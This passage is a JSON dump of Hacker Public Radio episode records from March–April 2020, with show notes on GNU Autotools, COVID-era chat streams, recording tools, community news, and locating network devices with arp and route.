                                                            9. you get lots of code to handle every possible corner case, for free
                                                            10. \n
                                                            11. with a single configuration, you can build your project as the developer, build it for packagers, and enable users to build it for themselves
                                                            12. \n
                                                            \n\n

                                                            Next up: how to use GNU Autotools

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"autotools,build,make","version":0,"downloads":0,"valid":1}, {"id":3041,"date":"2020-03-30","title":"How to use GNU Autotools","duration":2337,"summary":"How to use GNU Autotools","notes":"

                                                            I found a great article on this topic here: https://opensource.com/article/19/7/introduction-gnu-autotools, so please refer to that as show notes.

                                                            \n

                                                            \n\nPage included by Ken, as permitted by cc-by-sa\n\n

                                                            \n

                                                            Introduction to GNU Autotools

                                                            \n\n

                                                            Have you ever downloaded the source code for a popular software project that required you to type the almost ritualistic ./configure; make && make install command sequence to build and install it? If so, you’ve used GNU Autotools. If you’ve ever looked into some of the files accompanying such a project, you’ve likely also been terrified at the apparent complexity of such a build system.

                                                            \n\n

                                                            Good news! GNU Autotools is a lot simpler to set up than you think, and it’s GNU Autotools itself that generates those 1,000-line configuration files for you. Yes, you can write 20 or 30 lines of installation code and get the other 4,000 for free.

                                                            \n\n

                                                            Autotools at work

                                                            \n\n

                                                            If you’re a user new to Linux looking for information on how to install applications, you do not have to read this article! You’re welcome to read it if you want to research how software is built, but if you’re just installing a new application, go read my article about installing apps on Linux.

                                                            \n\n

                                                            For developers, Autotools is a quick and easy way to manage and package source code so users can compile and install software. Autotools is also well-supported by major packaging formats, like DEB and RPM, so maintainers of software repositories can easily prepare a project built with Autotools.

                                                            \n\n

                                                            Autotools works in stages:

                                                            \n\n
                                                              \n
                                                            1. First, during the ./configure step, Autotools scans the host system (the computer it’s being run on) to discover the default settings. Default settings include where support libraries are located, and where new software should be placed on the system.
                                                            2. \n
                                                            3. Next, during the make step, Autotools builds the application, usually by converting human-readable source code into machine language.
                                                            4. \n
                                                            5. Finally, during the make install step, Autotools copies the files it built to the appropriate locations (as detected during the configure stage) on your computer.
                                                            6. \n

                                                            This process seems simple, and it is, as long as you use Autotools.

                                                            \n\n

                                                            The Autotools advantage

                                                            \n\n

                                                            GNU Autotools is a big and important piece of software that most of us take for granted. Along with GCC (the GNU Compiler Collection), Autotools is the scaffolding that allows Free Software to be constructed and installed to a running system. If you’re running a POSIX system, it’s not an understatement to say that most of your operating system exists as runnable software on your computer because of these projects.

                                                            \n\n

                                                            In the likely event that your pet project isn’t an operating system, you might assume that Autotools is overkill for your needs. But, despite its reputation, Autotools has lots of little features that may benefit you, even if your project is a relatively simple application or series of scripts.

                                                            \n\n

                                                            Portability

                                                            \n\n

                                                            First of all, Autotools comes with portability in mind. While it can’t make your project work across all POSIX platforms (that’s up to you, as the coder), Autotools can ensure that the files you’ve marked for installation get installed to the most sensible locations on a known platform. And because of Autotools, it’s trivial for a power user to customize and override any non-optimal value, according to their own system.

                                                            \n\n

                                                            With Autotools, all you need to know is what files need to be installed to what general location. It takes care of everything else. No more custom install scripts that break on any untested OS.

                                                            \n\n

                                                            Packaging

                                                            \n\n

                                                            Autotools is also well-supported. Hand a project with Autotools over to a distro packager, whether they’re packaging an RPM, DEB, TGZ, or anything else, and their job is simple. Packaging tools know Autotools, so there’s likely to be no patching, hacking, or adjustments necessary. In many cases, incorporating an Autotools project into a pipeline can even be automated.

                                                            \n\n

                                                            How to use Autotools

                                                            \n\n

                                                            To use Autotools, you must first have Autotools installed. Your distribution may provide one package meant to help developers build projects, or it may provide separate packages for each component, so you may have to do some research on your platform to discover what packages you need to install.

                                                            \n\n

                                                            The primary components of Autotools are:

                                                            \n\n
                                                              \n
                                                            • automake
                                                            • \n
                                                            • autoconf
                                                            • \n
                                                            • make
                                                            • \n
                                                            \n\n

                                                            While you likely need to install the compiler (GCC, for instance) required by your project, Autotools works just fine with scripts or binary assets that don’t need to be compiled. In fact, Autotools can be useful for such projects because it provides a make uninstall script for easy removal.

                                                            \n\n

                                                            Once you have all of the components installed, it’s time to look at the structure of your project’s files.

                                                            \n\n

                                                            Autotools project structure

                                                            \n\n

                                                            GNU Autotools has very specific expectations, and most of them are probably familiar if you download and build source code often. First, the source code itself is expected to be in a subdirectory called src.

                                                            \n\n

                                                            Your project doesn’t have to follow all of these expectations, but if you put files in non-standard locations (from the perspective of Autotools), then you’ll have to make adjustments for that in your Makefile later.

                                                            \n\n

                                                            Additionally, these files are required:

                                                            \n\n
                                                              \n
                                                            • NEWS
                                                            • \n
                                                            • README
                                                            • \n
                                                            • AUTHORS
                                                            • \n
                                                            • ChangeLog
                                                            • \n
                                                            \n\n

                                                            You don’t have to actively use the files, and they can be symlinks to a monolithic document (like README.md) that encompasses all of that information, but they must be present.

                                                            \n\n

                                                            Autotools configuration

                                                            \n\n

                                                            Create a file called configure.ac at your project’s root directory. This file is used by autoconf to create the configure shell script that users run before building. The file must contain, at the very least, the AC_INIT and AC_OUTPUT M4 macros. You don’t need to know anything about the M4 language to use these macros; they’re already written for you, and all of the ones relevant to Autotools are defined in the documentation.

                                                            \n\n

                                                            Open the file in your favorite text editor. The AC_INIT macro may consist of the package name, version, an email address for bug reports, the project URL, and optionally the name of the source TAR file.

                                                            \n\n

                                                            The AC_OUTPUT macro is much simpler and accepts no arguments.

                                                            \n\n
                                                            AC_INIT([penguin], [2019.3.6], [seth@example.com])
                                                            \nAC_OUTPUT
                                                            \n\n

                                                            If you were to run autoconf at this point, a configure script would be generated from your configure.ac file, and it would run successfully. That’s all it would do, though, because all you have done so far is define your project’s metadata and called for a configuration script to be created.

                                                            \n\n

                                                            The next macros you must invoke in your configure.ac file are functions to create a Makefile. A Makefile tells the make command what to do (usually, how to compile and link a program).

                                                            \n\n

                                                            The macros to create a Makefile are AM_INIT_AUTOMAKE, which accepts no arguments, and AC_CONFIG_FILES, which accepts the name you want to call your output file.

                                                            \n\n

                                                            Finally, you must add a macro to account for the compiler your project needs. The macro you use obviously depends on your project. If your project is written in C++, the appropriate macro is AC_PROG_CXX, while a project written in C requires AC_PROG_CC, and so on, as detailed in the Building Programs and Libraries section in the Autoconf documentation.

                                                            \n\n

                                                            For example, I might add the following for my C++ program:

                                                            \n\n
                                                            AC_INIT([penguin], [2019.3.6], [seth@example.com])
                                                            \nAC_OUTPUT
                                                            \nAM_INIT_AUTOMAKE
                                                            \nAC_CONFIG_FILES([Makefile])
                                                            \nAC_PROG_CXX
                                                            \n\n

                                                            Save the file. It’s time to move on to the Makefile.

                                                            \n\n

                                                            Autotools Makefile generation

                                                            \n\n

                                                            Makefiles aren’t difficult to write manually, but Autotools can write one for you, and the one it generates will use the configuration options detected during the ./configure step, and it will contain far more options than you would think to include or want to write yourself. However, Autotools can’t detect everything your project requires to build, so you have to add some details in the file Makefile.am, which in turn is used by automake when constructing a Makefile.

                                                            \n\n

                                                            Makefile.am uses the same syntax as a Makefile, so if you’ve ever written a Makefile from scratch, then this process will be familiar and simple. Often, a Makefile.am file needs only a few variable definitions to indicate what files are to be built, and where they are to be installed.

                                                            \n\n

                                                            Variables ending in _PROGRAMS identify code that is to be built (this is usually considered the primary target; it’s the main reason the Makefile exists). Automake recognizes other primaries, like _SCRIPTS, _DATA, _LIBRARIES, and other common parts that make up a software project.

                                                            \n\n

                                                            If your application is literally compiled during the build process, then you identify it as a binary program with the bin_PROGRAMS variable, and then reference any part of the source code required to build it (these parts may be one or more files to be compiled and linked together) using the program name as the variable prefix:

                                                            \n\n
                                                            bin_PROGRAMS = penguin
                                                            \npenguin_SOURCES = penguin.cpp
                                                            \n\n

                                                            The target of bin_PROGRAMS is installed into the bindir, which is user-configurable during compilation.

                                                            \n\n

                                                            If your application isn’t actually compiled, then your project doesn’t need a bin_PROGRAMS variable at all. For instance, if your project is a script written in Bash, Perl, or a similar interpreted language, then define a _SCRIPTS variable instead:

                                                            \n\n
                                                            bin_SCRIPTS = bin/penguin
                                                            \n\n

                                                            Automake expects sources to be located in a directory called src, so if your project uses an alternative directory structure for its layout, you must tell Automake to accept code from outside sources:

                                                            \n\n
                                                            AUTOMAKE_OPTIONS = foreign subdir-objects
                                                            \n\n

                                                            Finally, you can create any custom Makefile rules in Makefile.am and they’ll be copied verbatim into the generated Makefile. For instance, if you know that a temporary value needs to be replaced in your source code before the installation proceeds, you could make a custom rule for that process:

                                                            \n\n
                                                            all-am: penguin
                                                            \n        touch bin/penguin.sh
                                                            \n       
                                                            \npenguin: bin/penguin.sh
                                                            \n        @sed \"s|__datadir__|@datadir@|\" $< >bin/$@
                                                            \n\n

                                                            A particularly useful trick is to extend the existing clean target, at least during development. The make clean command generally removes all generated build files with the exception of the Automake infrastructure. It’s designed this way because most users rarely want make clean to obliterate the files that make it easy to build their code.

                                                            \n\n

                                                            However, during development, you might want a method to reliably return your project to a state relatively unaffected by Autotools. In that case, you may want to add this:

                                                            \n\n
                                                            clean-local:
                                                            \n        @rm config.status configure config.log
                                                            \n        @rm Makefile
                                                            \n        @rm -r autom4te.cache/
                                                            \n        @rm aclocal.m4
                                                            \n        @rm compile install-sh missing Makefile.in
                                                            \n\n

                                                            There’s a lot of flexibility here, and if you’re not already familiar with Makefiles, it can be difficult to know what your Makefile.am needs. The barest necessity is a primary target, whether that’s a binary program or a script, and an indication of where the source code is located (whether that’s through a _SOURCES variable or by using AUTOMAKE_OPTIONS to tell Automake where to look for source code).

                                                            \n\n

                                                            Once you have those variables and settings defined, you can try generating your build scripts as you see in the next section, and adjust for anything that’s missing.

                                                            \n\n

                                                            Autotools build script generation

                                                            \n\n

                                                            You’ve built the infrastructure, now it’s time to let Autotools do what it does best: automate your project tooling. The way the developer (you) interfaces with Autotools is different from how users building your code do.

                                                            \n\n

                                                            Builders generally use this well-known sequence:

                                                            \n\n
                                                            $ ./configure
                                                            \n$ make
                                                            \n$ sudo make install
                                                            \n\n

                                                            For that incantation to work, though, you as the developer must bootstrap the build infrastructure. First, run autoreconf to generate the configure script that users invoke before running make. Use the –install option to bring in auxiliary files, such as a symlink to depcomp, a script to generate dependencies during the compiling process, and a copy of the compile script, a wrapper for compilers to account for syntax variance, and so on.

                                                            \n\n
                                                            $ autoreconf --install
                                                            \nconfigure.ac:3: installing './compile'
                                                            \nconfigure.ac:2: installing './install-sh'
                                                            \nconfigure.ac:2: installing './missing'
                                                            \n\n

                                                            With this development build environment, you can then create a package for source code distribution:

                                                            \n\n
                                                            $ make dist
                                                            \n\n

                                                            The dist target is a rule you get for \"free\" from Autotools.
                                                            \nIt’s a feature that gets built into the Makefile generated from your humble Makefile.am configuration. This target produces a tar.gz archive containing all of your source code and all of the essential Autotools infrastructure so that people downloading the package can build the project.

                                                            \n\n

                                                            At this point, you should review the contents of the archive carefully to ensure that it contains everything you intend to ship to your users. You should also, of course, try building from it yourself:

                                                            \n\n
                                                            $ tar --extract --file penguin-0.0.1.tar.gz
                                                            \n$ cd penguin-0.0.1
                                                            \n$ ./configure
                                                            \n$ make
                                                            \n$ DESTDIR=/tmp/penguin-test-build make install
                                                            \n\n

                                                            If your build is successful, you find a local copy of your compiled application specified by DESTDIR (in the case of this example, /tmp/penguin-test-build).

                                                            \n\n
                                                            $ /tmp/example-test-build/usr/local/bin/example 
                                                            \nhello world from GNU Autotools
                                                            \n\n

                                                            Time to use Autotools

                                                            \n\n

                                                            Autotools is a great collection of scripts for a predictable and automated release process. This toolset may be new to you if you’re used to Python or Bash builders, but it’s likely worth learning for the structure and adaptability it provides to your project.

                                                            \n\n

                                                            And Autotools is not just for code, either. Autotools can be used to build Docbook projects, to keep media organized (I use Autotools for my music releases), documentation projects, and anything else that could benefit from customizable install targets.

                                                            \n","hostid":78,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"autotools,build,make","version":0,"downloads":0,"valid":1}, {"id":3042,"date":"2020-03-31","title":"The COVID-19 Work From Home Stream - Day 0","duration":4021,"summary":"A couple of HPR characters decide to spend some of their social distancing time being social","notes":"

                                                            Tuesday 17.03.2020

                                                            \n

                                                            Guests: honkeymagoo, crvs, and Thaj

                                                            \n
                                                              \n
                                                            • How likely we are to get COVID-19
                                                            • \n
                                                            • Should we invest while the market is down
                                                            • \n
                                                            • How bad is the internet infrastructure in the US
                                                            • \n
                                                            • Learning Python\n
                                                            • \n
                                                            • Growing plants
                                                            • \n
                                                            • That Audiobook Club though...
                                                            • \n
                                                            • Video games
                                                            • \n
                                                            • Single Board Computers\n
                                                            • \n
                                                            • Why haven't you done a show about that Thaj?
                                                            • \n
                                                            • Emacs and org-mode
                                                            • \n
                                                            • Nano for the win
                                                            • \n
                                                            \n","hostid":270,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"COVID-19, Stock Markets, Emacs, Python, Programming, Audiobooks, Growing Food, Video Games, SBCs","version":0,"downloads":0,"valid":1}, {"id":3043,"date":"2020-04-01","title":"How I record for HPR","duration":119,"summary":"The tools I use to record a show for HPR","notes":"
                                                              \n
                                                            1. Sentry BT250 Bluetooth Headphones w/ mic
                                                              \nhttps://www.amazon.com/Wireless-Rechargeable-Stereo-Earbuds-Bluetooth/dp/B015NFWDX8

                                                            2. \n
                                                            3. F-Droid - free open source apps for Android
                                                              \nhttps://f-droid.org/en/

                                                            4. \n
                                                            5. Audio Recorder from F-Droid
                                                              \nhttps://f-droid.org/en/packages/com.github.axet.audiorecorder/
                                                              \nFeatures:\n
                                                                \n
                                                              • Mute incoming call audio while recording
                                                              • \n
                                                              • Variety of format encoding\n
                                                                  \n
                                                                • ogg (default)
                                                                • \n
                                                                • wav
                                                                • \n
                                                                • flac
                                                                • \n
                                                                • m4a
                                                                • \n
                                                                • mp3
                                                                • \n
                                                                • opus
                                                                • \n
                                                              • \n
                                                            6. \n
                                                            7. X-plore Android file explorer
                                                              \nhttps://play.google.com/store/apps/details?id=com.lonelycatgames.Xplore&hl=en_US

                                                            8. \n
                                                            9. Audacity\n
                                                                \n
                                                              • Amplify tool
                                                              • \n
                                                              • Bass and Treble tool
                                                              • \n
                                                            10. \n
                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"recording, bluetooth, android","version":0,"downloads":0,"valid":1}, {"id":3044,"date":"2020-04-02","title":"mocp snooze tip","duration":391,"summary":"A quick snooze tip when using mocp","notes":"

                                                            I use cordless headphones, I find this very handy when I want mocp to play for a set time then pause.

                                                            \n

                                                            Commands used

                                                            \n
                                                              \n
                                                            • Ctrl + r, to quickly find the command

                                                            • \n
                                                            • sleep 10m && mocp -G

                                                            • \n
                                                            • sleep 10m && mocp -M ~/.moc/audiobooks -G

                                                            • \n
                                                            • sleep 5h && iplayer-url

                                                            • \n
                                                            ","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux, bash, podcasts, audio","version":0,"downloads":0,"valid":1}, {"id":3045,"date":"2020-04-03","title":"OSS compliance with privacy by default and design","duration":951,"summary":"How can Open Source Software manage the mandates of regulations like the GDPR?","notes":"

                                                            The GDPR (General Data Protection Regulation) was enacted by the European Community in 2016, and began to be enforced in 2018. Since this covers a large segment of the Internet users, and other jurisdictions are looking at similar legislation this talk is a timely look at what is required and how Open Source Software can meet the legal requirements. https://www.zwilnik.com/?page_id=1096

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":108,"explicit":0,"license":"CC-BY-SA","tags":"social media, alternative, Fediverse, ActivityPub, Privacy","version":0,"downloads":0,"valid":1}, {"id":3046,"date":"2020-04-06","title":"HPR Community News for March 2020","duration":4545,"summary":"HPR Volunteers talk about shows released and comments posted in March 2020","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n crvs.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3021Mon2020-03-02HPR Community News for February 2020HPR Volunteers
                                                            3022Tue2020-03-03FOSDEM 2020 Stand InterviewsKen Fallon
                                                            3023Wed2020-03-04Critique My Script, Episode 1 - Qots-Crew-GenCarl
                                                            3024Thu2020-03-05A funny thing happened the other dayMrX
                                                            3025Fri2020-03-06Keep unwanted messages off the FediverseAhuka
                                                            3026Mon2020-03-09Hex Bug and Battle Botsoperat0r
                                                            3027Tue2020-03-10What is quantum computing and why should we care?mightbemike
                                                            3028Wed2020-03-11Monads and Haskellcrvs
                                                            3029Thu2020-03-12At Union Station with a train delayArcher72
                                                            3030Fri2020-03-13My new Samsung tabletMrX
                                                            3031Mon2020-03-16Daniel Persson - Me? Me!Daniel Persson
                                                            3032Tue2020-03-17piCore on a Raspberry Pi 1 Model BClaudio Miranda
                                                            3033Wed2020-03-1832 Bit Time Travelmonochromec
                                                            3034Thu2020-03-19How to bridge Freenode IRC rooms to Matrix.orgThaj Sara
                                                            3035Fri2020-03-20Decentralised Hashtag Search and Subscription in Federated Social NetworksAhuka
                                                            3036Mon2020-03-23WiiU is dead long live WiiU!operat0r
                                                            3037Tue2020-03-24Ambient recording at Union StationArcher72
                                                            3038Wed2020-03-25Solo Magicklaatu
                                                            3039Thu2020-03-26Making a Raspberry Pi status displayDave Morriss
                                                            3040Fri2020-03-27Why use GNU Autotoolsklaatu
                                                            3041Mon2020-03-30How to use GNU Autotoolsklaatu
                                                            3042Tue2020-03-31The COVID-19 Work From Home Stream - Day 0Thaj Sara
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 23 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 2 comments on\n2 previous shows:

                                                            \n\n

                                                            This month's shows

                                                            \n

                                                            There are 21 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr3023\n(2020-03-04) \"Critique My Script, Episode 1 - Qots-Crew-Gen\"\nby Carl.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2020-03-04:\n\"Bash arithmetic\"
                                                              • Comment 2:\nDave Morriss on 2020-03-04:\n\"Another Bash-ism that might be useful\"
                                                              • Comment 3:\nnobody on 2020-03-04:\n\"There must be an easier way\"
                                                              • Comment 4:\nnobody on 2020-03-04:\n\"Little correction to my comment\"
                                                              • Comment 5:\nCarl on 2020-03-05:\n\"Thanks for the comments\"
                                                              • Comment 6:\nCarl on 2020-03-05:\n\"Thanks for the comments\"
                                                              • Comment 7:\nnobody on 2020-03-05:\n\"Re: Re:\"
                                                              • Comment 8:\nnobody on 2020-03-05:\n\"Standalone increment in ash\"
                                                              • Comment 9:\nCarl on 2020-03-05:\n\"Neat\"
                                                              • Comment 10:\nnobody on 2020-03-05:\n\"$(())\"
                                                              • Comment 11:\nCarl on 2020-03-05:\n\"Version 3\"

                                                              \n
                                                            • hpr3024\n(2020-03-05) \"A funny thing happened the other day\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2020-03-05:\n\"great storytelling\"
                                                              • Comment 2:\nMrX on 2020-03-07:\n\"Re great storytelling\"

                                                              \n
                                                            • hpr3025\n(2020-03-06) \"Keep unwanted messages off the Fediverse\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2020-03-09:\n\"I disagree\"
                                                              • Comment 2:\nAhuka on 2020-03-09:\n\"Further discussion\"

                                                              \n
                                                            • hpr3026\n(2020-03-09) \"Hex Bug and Battle Bots\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2020-03-25:\n\"Great episode\"

                                                              \n
                                                            • hpr3028\n(2020-03-11) \"Monads and Haskell\"\nby crvs.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2020-03-11:\n\"welcome!\"
                                                              • Comment 2:\ncrvs on 2020-03-11:\n\"Re: welcome!\"

                                                              \n
                                                            • hpr3031\n(2020-03-16) \"Daniel Persson - Me? Me!\"\nby Daniel Persson.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2020-03-22:\n\"History\"

                                                              \n
                                                            • hpr3032\n(2020-03-17) \"piCore on a Raspberry Pi 1 Model B\"\nby Claudio Miranda.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2020-03-26:\n\"Minimal distros are the best\"

                                                              \n
                                                            • hpr3034\n(2020-03-19) \"How to bridge Freenode IRC rooms to Matrix.org\"\nby Thaj Sara.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKlaatu on 2020-03-22:\n\"Did not know this\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-March/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributors for sending in updates in the past month:
                                                            \ncrvs, Windigo, Archer72, Dave Morriss

                                                            \n

                                                            Over the period tags and/or summaries have been added to 28 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3047,"date":"2020-04-07","title":"The COVID-19 Work From Home Stream - Day 1","duration":2449,"summary":"A couple of HPR characters decide to spend some of their social distancing time being social","notes":"

                                                            Wednesday 18.03.2020 (2020-03-18)

                                                            \n

                                                            Guests: honkeymagoo, crvs, Lyle, Thaj

                                                            \n
                                                              \n
                                                            • Open Broadcaster Studio
                                                            • \n
                                                            • A grocery store trip is a sign of the apocalypse?
                                                            • \n
                                                            • Bidets are the fix for TP shortages
                                                            • \n
                                                            • Insider details on the grocery business
                                                            • \n
                                                            • My beard is NOT negotiable
                                                            • \n
                                                            • Long term impacts of social distance\n
                                                                \n
                                                              • How are schools handling this?
                                                              • \n
                                                            • \n
                                                            • Matrix, IRC, and Microsoft Teams...OH MY!!
                                                            • \n
                                                            • Do you need another person for your HPR episode, call Thaj.
                                                            • \n
                                                            • Lyle has a meme
                                                            • \n
                                                            • Lyle makes a bread
                                                            • \n
                                                            • More Python
                                                            • \n
                                                            • ffmpeg
                                                            • \n
                                                            ","hostid":270,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"OBS, Bidets, Grocery","version":0,"downloads":0,"valid":1}, {"id":3048,"date":"2020-04-08","title":"Alternatives to toilet paper","duration":702,"summary":"A non-satirical and non-sarcastic review of alternatives to toilet paper.","notes":"

                                                            In some countries, people seem to be legitimately concerned about the availability of toilet paper. This episode offers alternatives to toilet paper in the hope of relieving people of additional stress around hygiene.\n

                                                            This is not a joke episode and contains no offensive language, but it is about a potentially sensitive subject, so it has been marked explicit as a precaution.

                                                            ","hostid":78,"series":100,"explicit":1,"license":"CC-BY-SA","tags":"hygiene","version":0,"downloads":0,"valid":1}, {"id":3049,"date":"2020-04-09","title":"What computers taught me about reality","duration":1451,"summary":"Klaatu tells us what computers taught him about reality","notes":"

                                                            Some musings about what computers taught me about reality and perception.

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"philosophy,system design","version":0,"downloads":0,"valid":1}, {"id":3050,"date":"2020-04-10","title":"Linux Inlaws S01E04 What's in a name","duration":4396,"summary":"Season 1, Episode 4. The episode where the legacy is revealed","notes":"

                                                            This is Linux Inlaws, a series on free and open source software, black humour, the revolution and freedom in general (this includes ideas and software) and generally having fun.

                                                            \n

                                                            Linux Inlaws - a podcast about on topics around free and open source software, any associated contraband, communism / the revolution in general and whatever else fancies your tickle.

                                                            \n

                                                            Please note that this and other episodes may contain strong language, offensive humor and other certainly not politically correct language - you have been warned (our parents insisted on this disclaimer - happy mum?). Thus the content is not suitable for consumption in the workplace (especially when played back on a speaker in an open plan office or similar environments), any minors under the age of 35 or any pets including fluffy little killer bunnies, your trusty guide dog (unless on speed) and cute t-rexes or other associated dinosaurs.

                                                            \n

                                                            In this show the lads Martin and Chris speak about the legacy, its name and also introduce Tech Support from the Dark Side, a new hotline helping politicians and other users in need of computer support to cope with reality.

                                                            \n

                                                            Links

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"linux inlaws,communism,free and open source software","version":0,"downloads":0,"valid":1}, {"id":3051,"date":"2020-04-13","title":"The COVID-19 Work From Home Stream - Day 2","duration":2552,"summary":"A few HPR characters decide to spend some of their social distancing time being social","notes":"

                                                            Thursday 19.03.2020

                                                            \n

                                                            Guests: honkeymagoo, Thaj

                                                            \n
                                                              \n
                                                            • Talk about creating video tutorials for work
                                                            • \n
                                                            • Still more talking about Python
                                                            • \n
                                                            • Plumble dies
                                                            • \n
                                                            • Is being open to technology based on age?
                                                            • \n
                                                            • How much farther will this virus shut things down?
                                                            • \n
                                                            • Oh no....politics!
                                                            • \n
                                                            • Healthcare in the US
                                                            • \n
                                                            ","hostid":270,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Healthcare, Python, COVID-19, Plumble, Politcs, Technology","version":0,"downloads":0,"valid":1}, {"id":3052,"date":"2020-04-14","title":"Locating computers on a network","duration":1322,"summary":"Ken explains some different ways to locate computers on the network","notes":"

                                                            Locating computers on a network

                                                            \n\n

                                                            Sometimes you may wish to locate a device on your network. It might be to find rogue devices, or to locate a new device be that a printer, an Internet of Things light bulb, or whatever. In my case I was trying to track down a RaspberryPi. Raspbian now lists the IP Addresses assigned to it when it first starts, but that requires a monitor to be connected.

                                                            \n\n

                                                            Locating using your router.

                                                            \n\n

                                                            This is by far the easiest way to find a new device but it is also the most manual. If you have access to the (WiFi) Router/DHCP server on your network then this should be a matter of logging in and getting the address from the menu area probably called Network or LAN or something like that. So first list all the computers that are on the network. Then turn on your pi, and see if a new one has joined. If you're lucky it may even be labeled Raspberry Pi Foundation.

                                                            \n\n

                                                            In my case I want to locate these devices automatically using a script. So below we will explore some ways that you can approach the problem of locating devices on your network. All of them rely on trying to find the mapping between an Ethernet MAC Address, and a IP Address. It will help to understand a little about how Ethernet works. This is a nice short overview, How does Ethernet work? (animated) by Janos Pasztor

                                                            \n\n

                                                            ARP

                                                            \n\n

                                                            I don't know the network device you will be using so I'd like to share a few ways of doing this using the ARP protocol. This provides a mapping between a device's permanent MAC address and their, often temporarily, assigned IP address.

                                                            \n\n

                                                            When your computer 192.168.1.1 wants to talk to another device it will need to know the Ethernet MAC address of the other device. Let's assume it wants to connect to the local printer 192.168.1.2 that is on the same network, and it knows its IP Address. If your computer has already heard the printer communicate on the network, it will have already added the printer's IP address and MAC Address to its so called ARP table. Over time older entries will be removed from this table either because they are too old, or there were too many entries.

                                                            \n\n

                                                            Linux has a command called arp which will show you a list of the IP addresses mapped to the MAC/HWaddress address.

                                                            \n
                                                            # arp -n\nAddress                  HWtype  HWaddress           Flags Mask            Iface\n192.168.1.254            ether   ff:ee:dd:cc:bb:aa   C                     eno1\n192.168.1.2              ether   00:11:22:33:44:55   C                     eno1\n192.168.1.1              ether   00:aa:bb:cc:dd:ee   C                     eno1\n
                                                            \n\n

                                                            From a Internet Protocol (IP) point of view all your devices in your house are probably in the same Subnet(work). But what if you need to communicate outside your network? For example to ping a well known server 8.8.8.8 to check if you have an Internet Connection. The IP settings also include a Default gateway to send all traffic not intended for the local network.

                                                            \n\n

                                                            Finding the Default gateway

                                                            \n\n

                                                            Your computer will have many IP Addresses configured but it's a good bet that the network you and your new pi are on is the same one as the default gateway is on. You can find the default gateway using the following command:

                                                            \n
                                                            $ route -n | grep -E 'Destination|^0.0.0.0'\nDestination     Gateway         Genmask         Flags Metric Ref    Use Iface\n0.0.0.0         192.168.1.254   0.0.0.0         UG    100    0        0 eno1\n
                                                            \n\n

                                                            It uses route to show the route table showing IP Addresses and not network names. The first column is Destination and so a 0.0.0.0 there means route everything else to and the to we get from the second column Gateway, which is our gateway.

                                                            \n\n

                                                            You can also get the same information using the following command:

                                                            \n
                                                            $ ip route show | grep default\ndefault via 192.168.1.254 dev eno1 proto dhcp metric 100\n
                                                            \n\n

                                                            And now to just show the IP Address.

                                                            \n\n
                                                            $ route -n | awk '/^0.0.0.0/ {print $2}'\n192.168.1.254\n
                                                            \n\n\n

                                                            From an Ethernet point of view it needs to find the MAC address associated with your router/default gateway's IP address 192.168.1.254, so that it can send Ethernet Frames to it. In our case the address is in the ARP table, but if it wasn't then your computer would broadcast to everyone on the network using a special address ff:ff:ff:ff:ff:ff. When the router/default gateway replies that entry will be added to the ARP table.

                                                            \n\n
                                                            \n739  5.328679069  00:aa:bb:cc:dd:ee  ff:ff:ff:ff:ff:ff  ARP  42  Who has 192.168.1.254? Tell 192.168.1.1\n746  5.328911559  ff:ee:dd:cc:bb:aa  00:aa:bb:cc:dd:ee  ARP  60  192.168.1.254 is at ff:ee:dd:cc:bb:aa\n
